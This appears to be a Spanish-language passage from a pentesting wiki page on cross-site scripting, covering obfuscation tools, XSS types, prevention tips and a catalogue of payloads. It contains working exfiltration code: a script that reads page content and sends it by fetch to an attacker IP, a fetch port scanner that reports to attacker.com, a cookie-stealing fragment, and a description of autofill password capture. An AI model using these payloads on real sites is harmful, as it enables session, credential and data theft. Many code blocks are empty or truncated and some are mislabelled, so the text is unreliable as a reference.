Bypass Avanzado * **Diferentes ofuscaciones en una página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * JSFuck más sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ```javascript //aaencode # XSS (Cross-Site Scripting) El XSS (Cross-Site Scripting) es una vulnerabilidad común en aplicaciones web que permite a los atacantes inyectar y ejecutar código malicioso en el navegador de un usuario. Esto puede llevar a ataques como robo de sesiones, phishing y redireccionamiento a sitios web maliciosos. ## Tipos de XSS Existen tres tipos principales de XSS: 1. **Reflejado (Reflected XSS):** El código malicioso se inyecta a través de una URL y se refleja en la respuesta del servidor. Cuando un usuario hace clic en el enlace malicioso, el código se ejecuta en su navegador. 2. **Almacenado (Stored XSS):** El código malicioso se almacena en la base de datos o en el servidor y se muestra a los usuarios cuando acceden a una página específica. Esto puede ocurrir en áreas como comentarios, foros o campos de entrada de datos. 3. **Basado en DOM (DOM-based XSS):** El código malicioso se ejecuta en el lado del cliente manipulando el DOM (Modelo de Objetos del Documento) de la página web. Esto puede ocurrir cuando se utilizan scripts en el lado del cliente para procesar datos no confiables. ## Prevención de XSS Para prevenir ataques XSS, es importante seguir buenas prácticas de seguridad en el desarrollo de aplicaciones web: - **Validación y sanitización de datos:** Validar y sanitizar todos los datos de entrada para evitar la ejecución de código malicioso. - **Codificación adecuada:** Utilizar funciones de codificación adecuadas al mostrar datos en la página web, como `htmlspecialchars()` en PHP. - **Uso de encabezados de seguridad:** Configurar encabezados de seguridad, como Content Security Policy (CSP), para limitar la ejecución de scripts no confiables. - **Control de acceso a cookies:** Configurar las cookies con el atributo `HttpOnly` para evitar que sean accedidas por scripts en el lado del cliente. - **Actualización y parcheo:** Mantener las aplicaciones y frameworks actualizados con las últimas correcciones de seguridad. ## Ejemplo de Ataque XSS Un ejemplo de ataque XSS podría ser el siguiente: ```html ``` En este caso, el código malicioso se ejecuta en el navegador del usuario y envía las cookies al servidor malicioso. Esto podría permitir al atacante robar la sesión del usuario y realizar acciones en su nombre. Es importante tener en cuenta que este ejemplo es solo ilustrativo y los ataques XSS pueden ser mucho más sofisticados y peligrosos. ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## Cargas útiles comunes de XSS ### Varios payloads en 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Recuperar Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} No podrás acceder a las cookies desde JavaScript si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de evadir esta protección](../hacking-with-cookies/#httponly) si tienes la suficiente suerte. {% endhint %} ### Robar contenido de la página ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Encontrar IPs internas Durante una prueba de penetración, es posible que desees encontrar las direcciones IP internas de un sistema objetivo. Esto puede ser útil para identificar otros dispositivos en la red interna y para planificar ataques dirigidos. Aquí hay algunas técnicas que puedes utilizar para encontrar las IPs internas: 1. **Ping Sweep**: Utiliza una herramienta como `nmap` para realizar un barrido de ping en la red objetivo. Esto enviará un ping a cada dirección IP posible en la red y te mostrará las respuestas, lo que te permitirá identificar las IPs activas. ```bash nmap -sn ``` 2. **ARP Scanning**: Utiliza la tabla ARP para descubrir las direcciones IP internas. Puedes utilizar la herramienta `arp-scan` para realizar un escaneo ARP en la red objetivo y obtener una lista de direcciones IP y direcciones MAC asociadas. ```bash arp-scan --interface= ``` 3. **DNS Lookup**: Realiza una búsqueda DNS inversa para obtener las direcciones IP internas asociadas a los nombres de dominio. Puedes utilizar la herramienta `nslookup` para realizar esta búsqueda. ```bash nslookup ``` Recuerda que estas técnicas deben ser utilizadas de manera ética y con el permiso del propietario del sistema objetivo. ```html ``` ### Escáner de puertos (fetch) El escáner de puertos es una herramienta utilizada para identificar los puertos abiertos en un sistema objetivo. Esta técnica es comúnmente utilizada en pruebas de penetración para descubrir posibles vulnerabilidades en un sistema. El escáner de puertos "fetch" es una implementación específica de esta técnica que utiliza la función `fetch` en JavaScript para enviar solicitudes HTTP a diferentes puertos en el sistema objetivo. Al enviar solicitudes a diferentes puertos y analizar las respuestas recibidas, es posible determinar qué puertos están abiertos y disponibles para su uso. El escáner de puertos "fetch" es una herramienta útil para los hackers éticos y los profesionales de la seguridad cibernética, ya que les permite identificar posibles puntos de entrada para ataques maliciosos. Sin embargo, es importante tener en cuenta que el uso de esta técnica en sistemas sin autorización es ilegal y puede tener consecuencias legales graves. Para utilizar el escáner de puertos "fetch", simplemente se debe ejecutar el código JavaScript correspondiente en un navegador web compatible. El código enviará solicitudes a diferentes puertos y mostrará las respuestas recibidas, lo que permitirá identificar los puertos abiertos en el sistema objetivo. Es importante destacar que el escáner de puertos "fetch" solo identifica la disponibilidad de los puertos y no proporciona información sobre posibles vulnerabilidades o riesgos asociados. Por lo tanto, es recomendable complementar esta técnica con otras pruebas de penetración y análisis de seguridad para obtener una evaluación completa de la seguridad del sistema objetivo. ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Escáner de puertos (websockets) El escáner de puertos es una herramienta utilizada en el pentesting para identificar los puertos abiertos en un sistema objetivo. Esta técnica es especialmente útil en el contexto de los websockets, que son protocolos de comunicación bidireccional utilizados en aplicaciones web interactivas. El escáner de puertos websockets se utiliza para descubrir posibles vulnerabilidades en la implementación de los websockets en un sitio web. Al identificar los puertos abiertos, un hacker puede intentar explotar estas vulnerabilidades para llevar a cabo ataques de cross-site scripting (XSS) u otros ataques maliciosos. El escáner de puertos websockets funciona enviando solicitudes de conexión a diferentes puertos en el sistema objetivo y analizando las respuestas recibidas. Si se recibe una respuesta positiva, significa que el puerto está abierto y puede ser vulnerable a ataques. Es importante destacar que el uso de un escáner de puertos websockets debe realizarse con el consentimiento del propietario del sistema objetivo y solo con fines legítimos, como la evaluación de la seguridad de un sitio web. El uso no autorizado de esta técnica puede ser considerado ilegal y puede tener consecuencias legales graves. ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Captura de contraseñas de autocompletado Auto-fill passwords capture is a technique used to exploit cross-site scripting (XSS) vulnerabilities in web applications. When a user visits a vulnerable website and has their browser's password manager enabled, the attacker can inject malicious code into the website that captures the user's saved passwords. #### How it works 1. The attacker identifies a web application that is vulnerable to XSS attacks. 2. The attacker crafts a malicious payload that will be injected into the vulnerable website. 3. The payload is designed to capture the user's saved passwords by exploiting the browser's password manager. 4. The attacker injects the payload into the vulnerable website, either by submitting a form or by manipulating the website's URL parameters. 5. When the user visits the compromised website, the payload executes and captures the passwords stored in the browser's password manager. 6. The captured passwords are then sent to the attacker's server for further exploitation. #### Mitigation To mitigate the risk of auto-fill passwords capture, web developers should: - Implement input validation and output encoding to prevent XSS vulnerabilities. - Disable auto-fill functionality for sensitive fields, such as password fields. - Educate users about the risks of enabling auto-fill and encourage them to use password managers with strong encryption. - Regularly update and patch web applications to address any known vulnerabilities. By following these mitigation techniques, web developers can help protect users from falling victim to auto-fill passwords capture attacks. ```javascript Username:
Password:
``` Cuando se introduce cualquier dato en el campo de contraseña, el nombre de usuario y la contraseña se envían al servidor del atacante, incluso si el cliente selecciona una contraseña guardada y no escribe nada, las credenciales serán exfiltradas. ### Keylogger Simplemente buscando en github encontré algunos diferentes: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * También puedes usar metasploit `http_javascript_keylogger` ### Robando tokens CSRF ```javascript ``` ### Robando mensajes de PostMessage En algunas aplicaciones web, se utiliza la función `PostMessage` para permitir la comunicación entre diferentes ventanas o marcos dentro de la misma página. Sin embargo, esta función también puede ser explotada por un atacante para robar mensajes enviados a través de ella. El ataque de robo de mensajes de `PostMessage` se basa en la capacidad de un atacante para inyectar código malicioso en una página web vulnerable. Una vez que el código malicioso se ejecuta en el contexto de la página, puede interceptar y leer los mensajes enviados a través de `PostMessage`. Para llevar a cabo este ataque, el atacante puede utilizar técnicas como la inyección de código JavaScript en campos de entrada o enlaces maliciosos. Una vez que el código malicioso se ejecuta en la página, puede utilizar la función `window.addEventListener` para escuchar los mensajes enviados a través de `PostMessage` y robar su contenido. Es importante destacar que este ataque solo es posible si el sitio web vulnerable permite la ejecución de código JavaScript no confiable. Los desarrolladores deben implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, para prevenir este tipo de ataques. Para protegerse contra el robo de mensajes de `PostMessage`, los desarrolladores deben asegurarse de que solo se permita la ejecución de código JavaScript confiable y de que se implementen medidas de seguridad adecuadas en su aplicación web. Además, los usuarios deben ser conscientes de los riesgos asociados con la ejecución de código JavaScript no confiable y deben evitar interactuar con sitios web sospechosos o no confiables. ```markup ``` ### Abusando de los Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Accediendo al Shadow DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Políglotas {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Cargas útiles de Blind XSS También puedes usar: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">